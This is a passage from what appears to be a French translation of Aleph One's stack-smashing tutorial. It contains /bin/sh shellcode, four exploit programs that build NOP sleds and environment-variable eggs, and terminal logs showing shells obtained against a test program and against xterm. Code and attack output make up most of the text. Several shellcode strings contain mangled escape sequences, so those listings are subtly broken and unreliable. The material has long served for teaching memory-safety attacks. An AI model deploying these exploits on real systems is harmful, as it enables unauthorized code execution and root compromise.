    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

    void main() {
    int *ret;

    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;

    }
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o testsc testsc.c
    [aleph1]$ ./testsc
    $ exit
    [aleph1]$
    ------------------------------------------------------------------------------

    Ca marche! Mais il reste un obstacle. Dans la plupart des cas nous allons
    essayer d'exploiter un overflow sur un buffer de caractères. Ainsi, n'importe
    quel octet nul de notre shellcode sera considéré comme fin de chaîne, et la
    copie sera terminée. Il faut qu'il n'y ait aucun octet nul dans le shellcode
    pour que l'exploit fonctionne. Essayons donc d'éliminer ces octets (et en même
    temps de rendre le shellcode plus petit).

    Instruction problématique: Substitution:
    --------------------------------------------------------
    movb $0x0,0x7(%esi) xorl %eax,%eax
    molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
    movl %eax,0xc(%esi)
    --------------------------------------------------------
    movl $0xb,%eax movb $0xb,%al
    --------------------------------------------------------
    movl $0x1, %eax xorl %ebx,%ebx
    movl $0x0, %ebx movl %ebx,%eax
    inc %eax
    --------------------------------------------------------

    Notre code amélioré:

    shellcodeasm2.c
    ------------------------------------------------------------------------------
    void main() {
    __asm__("
    jmp 0x1f # 2 octets
    popl %esi # 1 octet
    movl %esi,0x8(%esi) # 3 octets
    xorl %eax,%eax # 2 octets
    movb %eax,0x7(%esi) # 3 octets
    movl %eax,0xc(%esi) # 3 octets
    movb $0xb,%al # 2 octets
    movl %esi,%ebx # 2 octets
    leal 0x8(%esi),%ecx # 3 octets
    leal 0xc(%esi),%edx # 3 octets
    int $0x80 # 2 octets
    xorl %ebx,%ebx # 2 octets
    movl %ebx,%eax # 2 octets
    inc %eax # 1 octet
    int $0x80 # 2 octets
    call -0x24 # 5 octets
    .string \"/bin/sh\" # 8 octets
    # 46 octets au total
    ");
    }
    ------------------------------------------------------------------------------

    Et notre nouveau programme de test:

    testsc2.c
    ------------------------------------------------------------------------------
    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\b\x89\8\x40\xcd"
    "\x80\xe8\c\xff\xff\xff/bin/sh";

    void main() {
    int *ret;

    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;

    }
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o testsc2 testsc2.c
    [aleph1]$ ./testsc2
    $ exit
    [aleph1]$
    ------------------------------------------------------------------------------


    Ecrire un Exploit
    ~~~~~~~~~~~~~~~~~
    (ou comment agresser la stack)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    Essayons d'assembler les pièces de notre puzzle. Nous avons le shellcode.
    Nous savons qu'il fera partie de la chaîne que nous utiliserons pour réaliser
    l'overflow du buffer. Nous savons que nous devons faire pointer l'adresse de
    retour en arrière dans le buffer. Cet exemple va vous montrer ces points:

    overflow1.c
    ------------------------------------------------------------------------------
    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\b\x89\8\x40\xcd"
    "\x80\xe8\c\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;

    for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

    for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

    strcpy(buffer,large_string);
    }
    ------------------------------------------------------------------------------

    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o exploit1 exploit1.c
    [aleph1]$ ./exploit1
    $ exit
    exit
    [aleph1]$
    ------------------------------------------------------------------------------

    Ce que nous avons fait ci-dessus c'est remplir l'array large_string[] avec
    l'adresse de buffer[], qui est l'endroit où notre code sera. Après, on copie
    notre shellcode au début de la chaîne large_string. strcpy() copiera ensuite
    large_string dans le buffer sans vérification des limites, et écrasera
    l'adresse de retour en la remplaçant par l'adresse référençant notre code.
    Une fois arrivé à la fin du main et qu'on essaie de sortir, on saute vers
    notre code et on exécute un shell.

    Le problème auquel nous devons faire face en essayant de déborder du tampon
    d'un autre programme est de trouver à quelle adresse le buffer (et donc notre
    code) va être. La réponse est en fait que pour chaque programme, la pile
    débutera à la même adresse. La plupart des programmes n'empilent pas plus de
    quelques centaines ou quelques milliers d'octets en même temps. En sachant où
    commence la stack, nous pouvons essayer de deviner où sera le buffer que nous
    essayons d'exploiter. Voici un programme qui affichera son pointeur de stack:

    sp.c
    ------------------------------------------------------------------------------
    unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
    }
    void main() {
    printf("0x%x\n", get_sp());
    }
    ------------------------------------------------------------------------------

    ------------------------------------------------------------------------------
    [aleph1]$ ./sp
    0x8000470
    [aleph1]$
    ------------------------------------------------------------------------------

    Supposons que le programme que nous allons faire déborder est:

    vulnerable.c
    ------------------------------------------------------------------------------
    void main(int argc, char *argv[]) {
    char buffer[512];

    if (argc > 1)
    strcpy(buffer,argv[1]);
    }
    ------------------------------------------------------------------------------

    Nous pouvons créer un programme qui prend en paramètres une taille de
    buffer et un offset à partir de son propre stack pointer (où nous pensons que
    le buffer à exploiter réside). Nous mettrons la chaîne d'overflow dans une
    variable d'environnement afin de la rendre simple à manipuler:

    exploit2.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512

    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\b\x89\8\x40\xcd"
    "\x80\xe8\c\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);

    if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }

    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    ptr += 4;
    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';

    memcpy(buff,"EGG=",4);
    putenv(buff);
    system("/bin/bash");
    }
    ------------------------------------------------------------------------------

    Nous pouvons maintenant essayer de deviner ce que le buffer et l'offset
    devraient être:

    ------------------------------------------------------------------------------
    [aleph1]$ ./exploit2 500
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    [aleph1]$ exit
    [aleph1]$ ./exploit2 600
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    Illegal instruction
    [aleph1]$ exit
    [aleph1]$ ./exploit2 600 100
    Using address: 0xbffffd4c
    [aleph1]$ ./vulnerable $EGG
    Segmentation fault
    [aleph1]$ exit
    [aleph1]$ ./exploit2 600 200
    Using address: 0xbffffce8
    [aleph1]$ ./vulnerable $EGG
    Segmentation fault
    [aleph1]$ exit
    .
    .
    .
    [aleph1]$ ./exploit2 600 1564
    Using address: 0xbffff794
    [aleph1]$ ./vulnerable $EGG
    $
    ------------------------------------------------------------------------------

    Comme nous pouvons le voir ce n'est pas une méthode efficace. Essayer de
    deviner l'offset alors que nous connaissons déjà où se trouve lé début de la
    stack est presque impossible. Il nous faudrait au mieux une centaine d'essais,
    et au pire quelques milliers. Le problème est que nous devons deviner
    *exactement* où l'adresse de notre code commence. Si nous nous écartons d'un
    seul octet de cette adresse, nous obtiendrons une violation de segmentation
    ou une instruction invalide. Une manière d'accroître nos chances est de
    combler le début de notre buffer avec des instructions NOP. Presque tous les
    processeurs possèdent une instruction NOP qui effectue une opération nulle.
    Cette instruction est habituellement utilisée dans le but d'ajouter des délais
    pour des raisons de timing. Nous en tirerons parti en remplissant la moitié
    de notre buffer de NOP. Nous placerons notre shellcode au centre, suivi de
    l'adresse de retour. Si nous sommes chanceux et que l'adresse de retour pointe
    quelque part dans la chaîne de NOPs, ces NOPs seront exécutés jusqu'à
    atteindre notre code. Dans l'architecture Intel, l'instruction NOP prend un
    octet et correspond à 0x90 en code machine. En supposant que la pile démarre
    à l'adresse 0xFF, que S désigne le shellcode et que N désigne NOP, la nouvelle
    stack ressemble à ceci:

    bas de DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF sommet de
    mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire
    buffer sfp ret a b c

    <------ [NNNNNNNNNNNSSSSSSSSS][0E][0E][0E][0E][0E]
    ^ |
    |_____________________|
    sommet de bas de
    pile pile

    Le nouvel exploit est donc:

    exploit3.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define NOP 0x90

    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\b\x89\8\x40\xcd"
    "\x80\xe8\c\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);

    if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }

    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';

    memcpy(buff,"EGG=",4);
    putenv(buff);
    system("/bin/bash");
    }
    ------------------------------------------------------------------------------

    Une bonne sélection de la taille de notre buffer est d'environ 100 octets
    de plus que la taille du buffer que nous allons essayer de faire déborder.
    Ceci placera notre code à la fin du buffer que nous exploitons, laissant une
    bonne place pour les NOPs, et en remplaçant toujours l'adresse de retour par
    l'adresse que nous avons devinée. Le buffer que nous attaquons fait 512 octets
    de long, nous en utiliserons donc 612. Essayons donc de produire un buffer
    overflow sur notre programme grace à notre nouvel exploit:

    ------------------------------------------------------------------------------
    [aleph1]$ ./exploit3 612
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    $
    ------------------------------------------------------------------------------

    Whoa! Du premier coup! Ce changement a multiplié par cent nos chances de
    réussir. Essayons-le maintenant sur un cas réel de buffer overflow. Nous
    utiliserons pour notre démonstration le buffer overflow de la Xt library.
    Pour notre exemple nous utiliserons xterm (tous les programmes liés à la Xt
    library sont vulnérables). Vous devez faire tourner un serveur X et autoriser
    les connections depuis localhost. Modifiez votre variable DISPLAY pour ceci.

    ------------------------------------------------------------------------------
    [aleph1]$ export DISPLAY=:0.0
    [aleph1]$ ./exploit3 1124
    Using address: 0xbffffdb4
    [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
    Warning: Color name "ë^1¤FF
    °
    óV

    ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤








    ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤








    ¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
    ^C
    [aleph1]$ exit
    [aleph1]$ ./exploit3 2148 100
    Using address: 0xbffffd48
    [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
    Warning: Color name "ë^1¤FF
    °
    óV

    ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤








    ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H








    ¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H ¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H ¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿








    H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿ H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿ H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ








    ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
    Warning: some arguments in previous message were lost
    Illegal instruction
    [aleph1]$ exit
    .
    .
    .
    [aleph1]$ ./exploit3 2148 600
    Using address: 0xbffffb54
    [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
    Warning: Color name "ë^1¤FF
    °
    óV

    ¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû








    ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T








    ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿








    Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿ Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿ Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ








    ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
    Warning: some arguments in previous message were lost
    bash$
    ------------------------------------------------------------------------------

    Eureka! Moins de douze essais et nous avons trouvé les nombres magiques. Si
    xterm était installé en suid root, nous aurions un shell root.


    Petits Buffer Overflows
    ~~~~~~~~~~~~~~~~~~~~~~~

    Il y aura des cas dans lesquels le buffer que vous essaierez d'exploiter
    sera si petit que même le shellcode n'y rentrera pas, et il écrasera l'adresse
    de retour avec des instructions à la place de l'adresse de notre code, ou bien
    le nombre de NOPs que vous pourrez rentrer en tête de chaîne sera si faible
    que vos chances de trouver la bonne adresse seront minuscules. Pour obtenir
    un shell à partir de ces programmes, nous devrons employer une autre méthode.
    Cette approche particulière ne fonctionne que si vous avez accès aux variables
    d'environnement du programme.

    Ce que nous ferons ici, c'est placer notre shellcode dans une variable
    d'environnement, et ensuite faire déborder le buffer avec l'adresse de cette
    variable en mémoire. Cette méthode accroît également vos chances de réussir
    étant donné que vous pouvez faire rentrer un shellcode aussi grand que vous le
    voulez dans la variable d'environnement.

    Les variables d'environnement sont stockées en sommet de pile quand le
    programme est lancé, les modifications par setenv() sont allouées ailleurs.
    Au lancement, la pile ressemble donc à ceci:


    <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

    Notre nouveau programme prendra une variable supplémentaire, la taille de
    la variable qui contient le shellcode et les NOPs. Notre nouvel exploit
    ressemble donc maintenant à ceci:

    exploit4.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define DEFAULT_EGG_SIZE 2048
    #define NOP 0x90

    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\b\x89\8\x40\xcd"
    "\x80\xe8\c\xff\xff\xff/bin/sh";

    unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);


    if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }
    if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }

    addr = get_esp() - offset;
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"RET=",4);
    putenv(buff);
    system("/bin/bash");
    }
    ------------------------------------------------------------------------------

    Essayons donc notre nouvel exploit avec notre programme de test:

    ------------------------------------------------------------------------------
    [aleph1]$ ./exploit4 768
    Using address: 0xbffffdb0
    [aleph1]$ ./vulnerable $RET
    $
    ------------------------------------------------------------------------------

    Ca marche comme par magie. Essayons donc sur xterm:

    ------------------------------------------------------------------------------
    [aleph1]$ export DISPLAY=:0.0
    [aleph1]$ ./exploit4 2148
    Using address: 0xbffffdb0
    [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
    Warning: Color name
    "°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








